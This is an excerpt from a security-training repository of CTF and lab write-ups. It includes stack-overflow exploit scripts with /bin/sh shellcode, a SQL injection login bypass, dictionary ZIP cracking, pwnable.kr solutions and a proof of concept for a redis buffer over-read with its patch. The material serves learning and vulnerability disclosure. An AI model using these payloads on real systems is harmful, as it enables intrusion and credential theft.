sys.stdout.write(SH) 193 | sys.stdout.flush() 194 | ``` 195 | 196 | The second point is that, this code only check the return address at the first time. However, we can control the return address, so that we just pick a function on the return address. When this function returns, it will continue pop the next level return address, which will not be checked. 197 | 198 | # stack 7 199 | 200 | I chose to use the instruction, which is `jmp eax`, as the return address. 201 | And I have updated the shellcode, because edx should be set as 0. 202 | 203 | ```python 204 | #!/usr/bin/env python 205 | 206 | import sys 207 | 208 | SHELL_CODE = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" 209 | NOP= "\x90" 210 | 211 | ret_addr = "\xeb\x85\x04\x08" # 0x080485eb jmp eax 212 | old_ebp = "\xff\xff\xff\xbf" # 0xbfffffff 213 | 214 | buff_size = 0x4c 215 | 216 | # NOP shell_code NOP old_ebp ret_addr 217 | SH = NOP*4 + SHELL_CODE 218 | SH = SH + NOP*(buff_size-len(SH)) 219 | SH = SH + old_ebp + ret_addr 220 | SH = SH + "\n" 221 | sys.stdout.write(SH) 222 | sys.stdout.flush() 223 | 224 | #write cmd 225 | cmd="/usr/bin/id" 226 | sys.stdout.write(cmd+"\n") 227 | sys.stdout.flush() 228 | ``` -------------------------------------------------------------------------------- /hacking-lab.com/1600 ZAP Proxy Writeup.md: -------------------------------------------------------------------------------- 1 | # The writeup for 1600 LiveCD Intro Challenge: ZAP Proxy 2 | 3 | ## Introduction 4 | This is a writeup for learning how to use ZAP Proxy. 5 | 6 | ## Steps 7 | The mission is to analyse the web requests between your browser and www.hacking-lab.com. 8 | ### Login request 9 | The request is a POST request with URL https://www.hacking-lab.com/user/login/index.html. The login parameters are userEmail and userPassword. However, the password is transported in plaintext. 10 | 11 | The snapshot is followed. 12 | ![The snapshot of login request](1600_snap_01.png) 13 | 14 | ### Server response (succeeded) 15 | After successful authentication, the server sent a 302 Moved Temporarily response with URL https://www.hacking-lab.com/events/ 16 | 17 | The snapshot is followed. 18 | ![The snapshot of Server Response](1600_snap_02.png) 19 | 20 | ### Server Response (failed) 21 | If I input a wrong password, the server will send a 200 OK response. The content of website will show a error message 'Wrong Email and password combination'. 22 | 23 | The snapshot is followed. 24 | ![The snapshot of Server Response](1600_snap_03.png) 25 | 26 | ### Resend Feature 27 | The resend feature can be used by right clicking the login request item, and choosing resend item. And then the http parameters can be modified manually. 28 | 29 | The snapshot is followed. 30 | ![The snapshot of Server Response](1600_snap_05.png) 31 | 32 | ## Conclusion 33 | This is a beginner practice for ZAP Proxy. The trap and resend feature is cool. 34 | -------------------------------------------------------------------------------- /hacking-lab.com/1600 ZAP Proxy Writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600 ZAP Proxy Writeup.pdf -------------------------------------------------------------------------------- /hacking-lab.com/1600_snap_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600_snap_01.png -------------------------------------------------------------------------------- /hacking-lab.com/1600_snap_02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600_snap_02.png -------------------------------------------------------------------------------- /hacking-lab.com/1600_snap_03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600_snap_03.png -------------------------------------------------------------------------------- /hacking-lab.com/1600_snap_05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600_snap_05.png -------------------------------------------------------------------------------- /hacking-lab.com/5020 Password protected ZIP Writeup.md: -------------------------------------------------------------------------------- 1 | # The Writeup for 5020 Password protected ZIP 2 | 3 | ## Introduction 4 | The mission is to crack a password protected ZIP archive. 5 | ## Writeup 6 | 7 | ### Vulnerability 8 | This is a password protected ZIP file. All password protected security mechanism is vulnerable to brute-force and dictionary attacks. 9 | 10 | ### Exploit 11 | I plan to use `fcrackzip`, which is a ZIP file password crack tools. Following command will crack this ZIP file to show the password is `close`. 12 | 13 | ``` 14 | hacking-lab.com$ fcrackzip -b -D -p /usr/share/wordlists/rockyou.txt -u ./Geheim.zip 15 | 16 | PASSWORD FOUND!!!!: pw == close 17 | ``` 18 | 19 | Among the parameters, `-b` means brute-force attack and `-D -p` means dictionary attack with password file `rockyou.txt`. Finally, `-u` means trying to decrypt ZIP file by `unzip`. 20 | 21 | The content of the extracted file `Geheim.txt` is `congratulations, you have found the password!` 22 | 23 | The snapshot is followed. 24 | ![The snapshot](5020_snap_01.png) 25 | 26 | ### Mitigation 27 | The first comment is that the password should follow best practice. For example, at least 8-16 characters, with no meaningful mixture combination of lower and upper alphabet, numbers and special characters. 28 | 29 | Another security issue in ZIP file is that PKZIP Stream Cipher is vulnerable to a know plaintext attack[1,2]. Password protected ZIP file is not a good way to provide confidentiality of documents. In my opinion, zip and encryption with AES-256 is better. 30 | ## Conclusion 31 | Short password is easy to be cracked by brute-force and dictionary attacks. 32 | ## reference 33 | 1. Biham, Eli and Paul Kocher. “A Known Plaintext Attack on the PKZIP StreamCipher.” FastSoftwareEncryption2, ProceedingsoftheLeuven Workshop, LNCS 1008, December 1994. 34 | 2. Stay, Michael. "ZIP attacks with reduced known plaintext." Fast software encryption. Springer Berlin Heidelberg, 2002. 35 | -------------------------------------------------------------------------------- /hacking-lab.com/5020 Password protected ZIP Writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/5020 Password protected ZIP Writeup.pdf -------------------------------------------------------------------------------- /hacking-lab.com/5020_snap_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/5020_snap_01.png -------------------------------------------------------------------------------- /hacking-lab.com/6111 SQL Injection Attack Writeup.md: -------------------------------------------------------------------------------- 1 | # The writeup for 6111 SQL Injection Attack 2 | 3 | ## Introduction 4 | The mission is to exploit a vulnerability by a SQL injection attack. The authentication mechanism should be bypassed. 5 | 6 | ## Exploit 7 | I plan to construct the attack vector as follows. 8 | 9 | `Password=1' or 1=1 #` 10 | 11 | In this case, the SQL query might be: 12 | 13 | `SELECT * from users where user='hacker10' and password='1' or 1=1 # ' ` 14 | 15 | The logic 1=1 will guarantee the expression to be True no matter what the password is given. 16 | 17 | ## Proof 18 | After I inputed the attack vector, the authentication mechanism is bypassed and I am able to view the user's profile which contains the credit-card details (1323-4545-6767-8989). 19 | 20 | The snapshot is followed. 21 | ![The snapshot](6111_snap_01.png) 22 | 23 | ## Mitigation 24 | The general mitigation to SQL injection is to use precompiled sql statement and stored procedure. And never concatenate SQL with user input. -------------------------------------------------------------------------------- /hacking-lab.com/6111 SQL Injection Attack Writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/6111 SQL Injection Attack Writeup.pdf -------------------------------------------------------------------------------- /hacking-lab.com/6111_snap_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/6111_snap_01.png -------------------------------------------------------------------------------- /opensource/A deadlock bug fix solution for gperftools issues 775.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/opensource/A deadlock bug fix solution for gperftools issues 775.pdf -------------------------------------------------------------------------------- /opensource/patch_issue_775.patch: -------------------------------------------------------------------------------- 1 | diff --git a/src/stacktrace.cc b/src/stacktrace.cc 2 | index 395d569..680a8c8 100644 3 | --- a/src/stacktrace.cc 4 | +++ b/src/stacktrace.cc 5 | @@ -243,13 +243,30 @@ namespace tcmalloc { 6 | namespace { 7 | using tcmalloc::EnterStacktraceScope; 8 | using tcmalloc::LeaveStacktraceScope; 9 | + // A patch for isuess 775. https://github.com/gperftools/gperftools/issues/775 10 | + __thread bool is_entry = false; // A TLS variable is aimming to prevent GetStackTrace*() reentry, which will introduce deadlock. 11 | + bool EnterStacktraceScope_reentry_check(){ 12 | + if (is_entry){ // which means GetStackTrace*() was called and not finished. 13 | + //printf("[reentry detection] GetStackTrace reentry is detected. Can not do GetStackTrace() now\n"); 14 | + return false; // It is unable to do get stack trace because reentry will introduce deadlock. 15 | + }else{ // which means GetStackTrace*() was not called before. 16 | + is_entry = true; // Setting a flag will indicate GetStackTrace*() will be called. 17 | + return true; // It is safe to call GetStackTrace*() 18 | + } 19 | + } 20 | 21 | + void LeaveStacktraceScope_reentry_release(){ 22 | + is_entry = false; // It will leave GetStackTrace*(), so clear the flag. 23 | + } 24 | class StacktraceScope { 25 | bool stacktrace_allowed; 26 | public: 27 | StacktraceScope() { 28 | stacktrace_allowed = true; 29 | stacktrace_allowed = EnterStacktraceScope(); 30 | + if (stacktrace_allowed){ 31 | + stacktrace_allowed = EnterStacktraceScope_reentry_check(); // To check whether it is a reentry of GetStackTrace*() 32 | + } 33 | } 34 | bool IsStacktraceAllowed() { 35 | return stacktrace_allowed; 36 | @@ -257,6 +274,7 @@ namespace { 37 | ~StacktraceScope() { 38 | if (stacktrace_allowed) { 39 | LeaveStacktraceScope(); 40 | + LeaveStacktraceScope_reentry_release(); // GetStackTrace*() finished. 41 | } 42 | } 43 | }; 44 | -------------------------------------------------------------------------------- /opensource/redis_vul_0906_2016/README.md: -------------------------------------------------------------------------------- 1 | #Buffer Over Read in redis-server 3.2.0 and Later 2 | 3 | #Introduction 4 | 5 | The redis-server dose not properly handle a corrupted rdb database file when loads it. The function serverLogHexDump(int level, char *descr, void *value, size_t len) does not check the validity of the last parameter `len`, which can be assigned from a rdb file. A very large value, such as 0xffffffff, will trigger a buffer over read, as demonstrated by exposing sensitive information, such as password. Also, the program will receive the SIGSEGV signal, if it accesses an invalid memory address. The vulnerability can also be used for the deny of service attack. 6 | 7 | #Proof of Concept 8 | I have reproduced this vulnerability with redis-server 3.2.3 in a Debian system and the newest [source code](https://github.com/antirez/redis) of redis in github.com. The program will crash and the password will be dumped in the log file. 9 | 10 | The source code of poc.sh is followed and the rdb file is located at ./poc/buffer_over_read.rdb: 11 | 12 | ``` 13 | # Date: Sept 06, 2016 14 | # Vulnerability type: CWE-126: Buffer Over Read 15 | # Description: The last parameter named len in serverLogHexDump() can be controlled by a corrupted rdb database file. A very large value will trigger a buffer over read, resulting sensitive information on the stack exposed. 16 | # Affected Version: >=redis 3.2.0 17 | # Debian version: stretch and sid 18 | 19 | Redis_Path=`which redis-server` 20 | PASS_WORD='AAAA__PASSWORD__PASSWORD__AAAA' 21 | HEX_PASS='414141415f5f50415353574f52445f5f50415353574f52445f5f41414141' 22 | DB_FILE='buffer_over_read.rdb' 23 | LOG_FILE='error.log' 24 | echo "Redis Version:" 25 | $Redis_Path --version 26 | 27 | #sets a password and loads a rdb file 28 | $Redis_Path --requirepass $PASS_WORD --port 54321 --dbfilename $DB_FILE > $LOG_FILE 29 | #search password 30 | echo "The password $PASS_WORD will be found in the $LOG_FILE with hex format: $HEX_PASS" 31 | #cat $LOG_FILE | grep -n $HEX_PASS 32 | ``` 33 | A core dump will be generated after the poc.sh is executed. The backtrace of the process is followed for debugging: 34 | 35 | ``` 36 | Program received signal SIGSEGV, Segmentation fault. 37 | serverLogHexDump (level=level@entry=3, descr=descr@entry=0x4ef6c0 "ziplist with dup elements dump", value=, len=2019155864) at debug.c:1059 38 | 1059 b[0] = charset[(*v)>>4]; 39 | (gdb) x/i $pc 40 | => 0x4638c0 : movzbl 0x0(%rbp),%edx 41 | (gdb) p/x $rbp 42 | $1 = 0x7ffff6c00000 43 | (gdb) bt 44 | #0 serverLogHexDump (level=level@entry=3, descr=descr@entry=0x4ef6c0 "ziplist with dup elements dump", value=, len=2019155864) at debug.c:1059 45 | #1 0x00000000004545fa in hashTypeConvertZiplist (o=0x7ffff6a6e4b0, enc=) at t_hash.c:486 46 | #2 0x00000000004546b5 in hashTypeConvert (o=o@entry=0x7ffff6a6e4b0, enc=enc@entry=2) at t_hash.c:502 47 | #3 0x0000000000446256 in rdbLoadObject (rdbtype=rdbtype@entry=13, rdb=rdb@entry=0x7fffffffe3f0) at rdb.c:1296 48 | #4 0x0000000000446e57 in rdbLoad (filename=) at rdb.c:1490 49 | #5 0x000000000042d854 in loadDataFromDisk () at server.c:3378 50 | #6 0x00000000004218e6 in main (argc=3, argv=0x7fffffffea08) at server.c:3656 51 | (gdb) 52 | ``` 53 | 54 | 55 | And the memory layout of the process is followed for your reference: 56 | 57 | ``` 58 | (gdb) info proc mappings 59 | process 2778 60 | Mapped address spaces: 61 | 62 | Start Addr End Addr Size Offset objfile 63 | 0x400000 0x52e000 0x12e000 0x0 /usr/local/bin/redis-server 64 | 0x72d000 0x72e000 0x1000 0x12d000 /usr/local/bin/redis-server 65 | 0x72e000 0x733000 0x5000 0x12e000 /usr/local/bin/redis-server 66 | 0x733000 0x76b000 0x38000 0x0 [heap] 67 | 0x7ffff51fd000 0x7ffff51fe000 0x1000 0x0 68 | 0x7ffff51fe000 0x7ffff59fe000 0x800000 0x0 [stack:2792] 69 | 0x7ffff59fe000 0x7ffff59ff000 0x1000 0x0 70 | 0x7ffff59ff000 0x7ffff61ff000 0x800000 0x0 [stack:2791] 71 | 0x7ffff61ff000 0x7ffff6200000 0x1000 0x0 72 | 0x7ffff6200000 0x7ffff6c00000 0xa00000 0x0 [stack:2790] 73 | 0x7ffff6d37000 0x7ffff7000000 0x2c9000 0x0 /usr/lib/locale/locale-archive 74 | 0x7ffff7000000 0x7ffff7200000 0x200000 0x0 75 | 0x7ffff72ed000 0x7ffff74a8000 0x1bb000 0x0 /lib/x86_64-linux-gnu/libc-2.19.so 76 | 0x7ffff74a8000 0x7ffff76a7000 0x1ff000 0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so 77 | 0x7ffff76a7000 0x7ffff76ab000 0x4000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so 78 | 0x7ffff76ab000 0x7ffff76ad000 0x2000 0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so 79 | 0x7ffff76ad000 0x7ffff76b2000 0x5000 0x0 80 | 0x7ffff76b2000 0x7ffff76cb000 0x19000 0x0 /lib/x86_64-linux-gnu/libpthread-2.19.so 81 | 0x7ffff76cb000 0x7ffff78ca000 0x1ff000 0x19000 /lib/x86_64-linux-gnu/libpthread-2.19.so 82 | 0x7ffff78ca000 0x7ffff78cb000 0x1000 0x18000 /lib/x86_64-linux-gnu/libpthread-2.19.so 83 | 0x7ffff78cb000 0x7ffff78cc000 0x1000 0x19000 /lib/x86_64-linux-gnu/libpthread-2.19.so 84 | 0x7ffff78cc000 0x7ffff78d0000 0x4000 0x0 85 | 0x7ffff78d0000 0x7ffff78d3000 0x3000 0x0 /lib/x86_64-linux-gnu/libdl-2.19.so 86 | 0x7ffff78d3000 0x7ffff7ad2000 0x1ff000 0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so 87 | 0x7ffff7ad2000 0x7ffff7ad3000 0x1000 0x2000 /lib/x86_64-linux-gnu/libdl-2.19.so 88 | 0x7ffff7ad3000 0x7ffff7ad4000 0x1000 0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so 89 | 0x7ffff7ad4000 0x7ffff7bd9000 0x105000 0x0 /lib/x86_64-linux-gnu/libm-2.19.so 90 | 0x7ffff7bd9000 0x7ffff7dd8000 0x1ff000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so 91 | 0x7ffff7dd8000 0x7ffff7dd9000 0x1000 0x104000 /lib/x86_64-linux-gnu/libm-2.19.so 92 | 0x7ffff7dd9000 0x7ffff7dda000 0x1000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so 93 | 0x7ffff7dda000 0x7ffff7dfd000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so 94 | 0x7ffff7fd8000 0x7ffff7fdc000 0x4000 0x0 95 | 0x7ffff7ff6000 0x7ffff7ffa000 0x4000 0x0 96 | 0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso] 97 | 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x22000 /lib/x86_64-linux-gnu/ld-2.19.so 98 | 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x23000 /lib/x86_64-linux-gnu/ld-2.19.so 99 | 0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0 100 | 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 101 | 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall] 102 | ``` 103 | 104 | Based on the above gdb information, I think the reason of the crash is that the last instruction was trying to read memory at address 0x7ffff6c00000, which was out of the stack range (0x7ffff6200000 to 0x7ffff6c00000) and was invalid for reading. 105 | 106 | After analysing the following source code of the vulnerable function, I found the register `$rbp` in the last instruction `movzbl 0x0(%rbp),%edx` represents the pointer `v` in the following c source code. This function dose not check the validity of the pointer `v`. The pointer `v` will increase until it reaches a invalid address during the the every time of the loop. More seriously, the function serverLogRaw() will dump all the content of the stack when the pointer `v` increases. The vulnerable function will lead the password on the stack to be dumped into the log file. 107 | 108 | ``` 109 | // src/debug.c:1051 110 | void serverLogHexDump(int level, char *descr, void *value, size_t len) { 111 | char buf[65], *b; 112 | unsigned char *v = value; 113 | char charset[] = "0123456789abcdef"; 114 | 115 | serverLog(level,"%s (hexdump):", descr); 116 | b = buf; 117 | while(len) { 118 | b[0] = charset[(*v)>>4]; 119 | b[1] = charset[(*v)&0xf]; 120 | b[2] = '\0'; 121 | b += 2; 122 | len--; 123 | v++; 124 | if (b-buf == 64 || len == 0) { 125 | serverLogRaw(level|LL_RAW,buf); 126 | b = buf; 127 | } 128 | } 129 | serverLogRaw(level|LL_RAW,"\n"); 130 | } 131 | ``` 132 | 133 | #Countermeasure 134 | 135 | I prefer to remove the calling of the vulnerable function `serverLogHexDump()`. Because the parameter `len` is controlled by the db file and it is difficult to detect whether the length of the data is as same as the value of `len`. 136 | 137 | The patch is followed: 138 | 139 | ``` 140 | diff --git a/src/t_hash.c b/src/t_hash.c 141 | index a495593..3ae0d46 100644 142 | --- a/src/t_hash.c 143 | +++ b/src/t_hash.c 144 | @@ -483,8 +483,6 @@ void hashTypeConvertZiplist(robj *o, int enc) { 145 | value = hashTypeCurrentObjectNewSds(hi,OBJ_HASH_VALUE); 146 | ret = dictAdd(dict, key, value); 147 | if (ret != DICT_OK) { 148 | - serverLogHexDump(LL_WARNING,"ziplist with dup elements dump", 149 | - o->ptr,ziplistBlobLen(o->ptr)); 150 | serverPanic("Ziplist corruption detected"); 151 | } 152 | } 153 | 154 | ``` 155 | 156 | #Conclusion 157 | 158 | A buffer over read vulnerability is found in redis-server 3.2.0 and later. The report shows the proof of concept and vulnerability analysis. Finally, a patch is attached in the end. -------------------------------------------------------------------------------- /opensource/redis_vul_0906_2016/README.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/opensource/redis_vul_0906_2016/README.pdf -------------------------------------------------------------------------------- /opensource/redis_vul_0906_2016/patch/redis_vul_0906_2016.patch: -------------------------------------------------------------------------------- 1 | diff --git a/src/t_hash.c b/src/t_hash.c 2 | index a495593..3ae0d46 100644 3 | --- a/src/t_hash.c 4 | +++ b/src/t_hash.c 5 | @@ -483,8 +483,6 @@ void hashTypeConvertZiplist(robj *o, int enc) { 6 | value = hashTypeCurrentObjectNewSds(hi,OBJ_HASH_VALUE); 7 | ret = dictAdd(dict, key, value); 8 | if (ret != DICT_OK) { 9 | - serverLogHexDump(LL_WARNING,"ziplist with dup elements dump", 10 | - o->ptr,ziplistBlobLen(o->ptr)); 11 | serverPanic("Ziplist corruption detected"); 12 | } 13 | } 14 | 15 | -------------------------------------------------------------------------------- /opensource/redis_vul_0906_2016/poc/buffer_over_read.rdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/opensource/redis_vul_0906_2016/poc/buffer_over_read.rdb -------------------------------------------------------------------------------- /opensource/redis_vul_0906_2016/poc/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm -rf ./core 4 | rm -rf ./*.log 5 | 6 | -------------------------------------------------------------------------------- /opensource/redis_vul_0906_2016/poc/install_redis.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt-get install -y redis-server 4 | -------------------------------------------------------------------------------- /opensource/redis_vul_0906_2016/poc/poc.sh: -------------------------------------------------------------------------------- 1 | # Date: Sept 06, 2016 2 | # Vulnerability type: CWE-126: Buffer Over Read 3 | # Description: The last parameter named len in serverLogHexDump() can be controled by a curruption rdb database file. A very large value will triger a buffer over read, resulting sensitve information on the stack exposed. 4 | # Affected Version: >=redis 3.2.0 5 | # Debian version: stretch and sid 6 | 7 | Redis_Path=`which redis-server` 8 | PASS_WORD='AAAA__PASSWORD__PASSWORD__AAAA' 9 | HEX_PASS='414141415f5f50415353574f52445f5f50415353574f52445f5f41414141' 10 | DB_FILE='buffer_over_read.rdb' 11 | LOG_FILE='error.log' 12 | echo "Redis Version:" 13 | $Redis_Path --version 14 | 15 | #sets a password and loads a rdb file 16 | $Redis_Path --requirepass $PASS_WORD --port 54321 --dbfilename $DB_FILE > $LOG_FILE 17 | #search password 18 | echo "The password $PASS_WORD will be found in the $LOG_FILE with hex format: $HEX_PASS" 19 | #cat $LOG_FILE | grep -n $HEX_PASS 20 | -------------------------------------------------------------------------------- /preparing_cuckoo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | APT_GET="sudo apt-get -y install" 4 | 5 | $APT_GET python python-sqlalchemy 6 | 7 | $APT_GET python-dpkt python-jinja2 python-magic python-pymongo python-libvirt python-bottle python-pefile ssdeep 8 | 9 | sudo pip -q install pydeep 10 | 11 | $APT_GET build-essential git libpcre3 libpcre3-dev libpcre++-dev automake yara 12 | 13 | #tcpdump 14 | sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump 15 | getcap /usr/sbin/tcpdump 16 | 17 | # Linux kernel 18 | $APT_GET linux-headers-`uname -r` 19 | 20 | $APT_GET libsdl1.2debian 21 | 22 | curl -o virtualbox.dev -L "http://download.virtualbox.org/virtualbox/5.1.2/virtualbox-5.1_5.1.2-108956i~Ubuntu~trusty_amd64.deb" 23 | sudo dpkg -i ./virtualbox.deb 24 | 25 | # cuckoo 26 | git clone https://github.com/cuckoosandbox/cuckoo 27 | 28 | sudo /etc/init.d/vboxdrv setup 29 | 30 | sudo adduser cuckoo 31 | sudo usermod -G vboxusers cuckoo 32 | sudo usermod -G libvirtd cuckoo 33 | 34 | -------------------------------------------------------------------------------- /pwnable.kr/01_level.md: -------------------------------------------------------------------------------- 1 | # The Writeup for Toddler's Bottle Level 2 | 3 | ## Introduction 4 | 5 | This is the first level of the [pwnable.kr](http://pwnable.kr/) practices. All in all, the problems in this level provide a very good introduction to CTF beginners. 6 | 7 | ## Writeup 8 | ### fd 9 | 10 | In the Linux environment, file descriptor (FD), which is an unsigned integer,is used in FILE I/O. In the header file \: 11 | 12 | 0 is STDIN_FILENO, which is the standard input. 13 | 1 is STDOUT_FILENO, which is the standard output. 14 | 2 is STDERR_FILENO, which is the standard error. 15 | 16 | The vulnerable c source code is followed. 17 | 18 | ``` 19 | #include 20 | #include 21 | #include 22 | char buf[32]; 23 | int main(int argc, char* argv[], char* envp[]){ 24 | if(argc<2){ 25 | printf("pass argv[1] a number\n"); 26 | return 0; 27 | } 28 | int fd = atoi( argv[1] ) - 0x1234; 29 | int len = 0; 30 | len = read(fd, buf, 32); 31 | if(!strcmp("LETMEWIN\n", buf)){ 32 | printf("good job :)\n"); 33 | system("/bin/cat flag"); 34 | exit(0); 35 | } 36 | printf("learn about Linux file IO\n"); 37 | return 0; 38 | 39 | } 40 | ``` 41 | 42 | If argv[1] is set as 4660 (0x1234), the variable `fd` will be 0, which is the standard input. And then, we just got the flag when we input `LETMEWIN` on the screen. 43 | 44 | - 45 | 46 | `mommy! I think I know what a file descriptor is!!` 47 | 48 | - 49 | 50 | ### collision 51 | 52 | The design of a hash function should consider the collision. In this task, the hash function is a simple sum function. The source code is followed. 53 | 54 | ``` 55 | #include 56 | #include 57 | unsigned long hashcode = 0x21DD09EC; 58 | unsigned long check_password(const char* p){ 59 | int* ip = (int*)p; 60 | int i; 61 | int res=0; 62 | for(i=0; i<5; i++){ 63 | res += ip[i]; 64 | } 65 | return res; 66 | } 67 | 68 | int main(int argc, char* argv[]){ 69 | if(argc<2){ 70 | printf("usage : %s [passcode]\n", argv[0]); 71 | return 0; 72 | } 73 | if(strlen(argv[1]) != 20){ 74 | printf("passcode length should be 20 bytes\n"); 75 | return 0; 76 | } 77 | 78 | if(hashcode == check_password( argv[1] )){ 79 | system("/bin/cat flag"); 80 | return 0; 81 | } 82 | else 83 | printf("wrong passcode.\n"); 84 | return 0; 85 | } 86 | ``` 87 | 88 | The destination hash value is 0x21DD09EC, which should be the sum of five unsigned 32bit integers. The integers should not contain '\x00' byte. So that we chose numbers as followed python code, which is stored in the path `/tmp/ex.py` and then print it. 89 | 90 | ``` 91 | #!/usr/bin/env python 92 | import sys 93 | 94 | """ 95 | 5 32bit integer: 96 | 0x01010101 97 | 0x01010101 98 | 0x01010101 99 | 0x01010101 100 | 0x1dd905e8 101 | sum: 0x21DD09EC 102 | """ 103 | val = '\x01\x01\x01\x01'*4+'\xe8\x05\xd9\x1d' 104 | 105 | sys.stdout.write(val) 106 | ``` 107 | 108 | Then this command will show us the flag. 109 | 110 | ``` 111 | ./col `python /tmp/ex.py` 112 | ``` 113 | 114 | - 115 | 116 | `daddy! I just managed to create a hash collision :)` 117 | 118 | - 119 | 120 | ### bof 121 | 122 | This is a basic buffer overflow task, but the difficulty may be existed in communication to the server. If you receive the following message 123 | 124 | `*** stack smashing detected ***: /home/bof/bof terminated` 125 | 126 | Please just try shell command in this way in your local shell: 127 | 128 | `` 129 | (python ex.py ; cat - ) | nc pwnable.kr 9000 130 | `` 131 | 132 | The command `cat -` will receive response of the new shell, and make sure the system() will not finish too quick. 133 | 134 | The vulnerable source code is followed. 135 | 136 | ``` 137 | #include 138 | #include 139 | #include 140 | void func(int key){ 141 | char overflowme[32]; 142 | printf("overflow me : "); 143 | gets(overflowme); // smash me! 144 | if(key == 0xcafebabe){ 145 | system("/bin/sh"); 146 | } 147 | else{ 148 | printf("Nah..\n"); 149 | } 150 | } 151 | int main(int argc, char* argv[]){ 152 | func(0xdeadbeef); 153 | return 0; 154 | } 155 | ``` 156 | 157 | And the content of the ex.py is followed. 158 | 159 | ``` 160 | #!/usr/bin/env python 161 | 162 | import sys 163 | 164 | PRE="A"*0x34 165 | SIGN='\xbe\xba\xfe\xca' 166 | OUT=PRE+SIGN 167 | print(OUT) 168 | ``` 169 | 170 | It maybe a little bit difficult to calculate the distant between the address of `key` and the address of `overflowme`. The easies way is to differ two address of them in GDB. The distant is 0x34 in this case. 171 | 172 | The flag is followed. 173 | 174 | - 175 | `daddy, I just pwned a buFFer :)` 176 | 177 | - 178 | 179 | ### flag 180 | 181 | The binary in this task is packed in UPX format. The first step is unpack the binary to original elf content. 182 | 183 | `upx -d flag -o flag.elf` 184 | 185 | The output on the screen inspired me. 186 | 187 | `I will malloc() and strcpy the flag there. take it.` 188 | 189 | There are two ideas in my mind. One is to trace the address of the buffer, which is allocated by malloc(). The other is to set breakpoint at libc function strcpy and then monitor the content of parameters. I chose the later one. 190 | 191 | This is my gdb init file. 192 | 193 | ``` 194 | info file 195 | display/i $pc 196 | break strcpy 197 | break malloc 198 | set follow-fork-mode child 199 | ``` 200 | 201 | Then gdb showed the flag. 202 | 203 | ``` 204 | Breakpoint 1, 0x00000000004153a0 in __strcpy_ssse3 () 205 | 1: x/i $pc 206 | => 0x4153a0 <__strcpy_ssse3>: mov %rsi,%rcx 207 | (gdb) p/x $rsi 208 | $1 = 0x496628 209 | (gdb) x/s 0x496628 210 | 0x496628: "UPX...? sounds like a delivery service :)" 211 | ``` 212 | 213 | The flag is. 214 | 215 | - 216 | `UPX...? sounds like a delivery service :)` 217 | 218 | - 219 | 220 | ### passcode 221 | 222 | A very common mistake is forgetting the address symbol & , when a address is needed. 223 | 224 | The vulnerable source code is followed. 225 | 226 | ``` 227 | #include 228 | #include 229 | 230 | void login(){ 231 | int passcode1; 232 | int passcode2; 233 | 234 | printf("enter passcode1 : "); 235 | scanf("%d", passcode1); 236 | fflush(stdin); 237 | 238 | // ha! mommy told me that 32bit is vulnerable to bruteforcing :) 239 | printf("enter passcode2 : "); 240 | scanf("%d", passcode2); 241 | 242 | printf("checking...\n"); 243 | if(passcode1==338150 && passcode2==13371337){ 244 | printf("Login OK!\n"); 245 | system("/bin/cat flag"); 246 | } 247 | else{ 248 | printf("Login Failed!\n"); 249 | exit(0); 250 | } 251 | } 252 | 253 | void welcome(){ 254 | char name[100]; 255 | printf("enter you name : "); 256 | scanf("%100s", name); 257 | printf("Welcome %s!\n", name); 258 | } 259 | 260 | int main(){ 261 | printf("Toddler's Secure Login System 1.0 beta.\n"); 262 | 263 | welcome(); 264 | login(); 265 | 266 | // something after login... 267 | printf("Now I can safely trust you that you have credential :)\n"); 268 | return 0; 269 | } 270 | 271 | ``` 272 | 273 | The parameters for the function scanf() should be address, not the value. However, if you insist pass a value to the 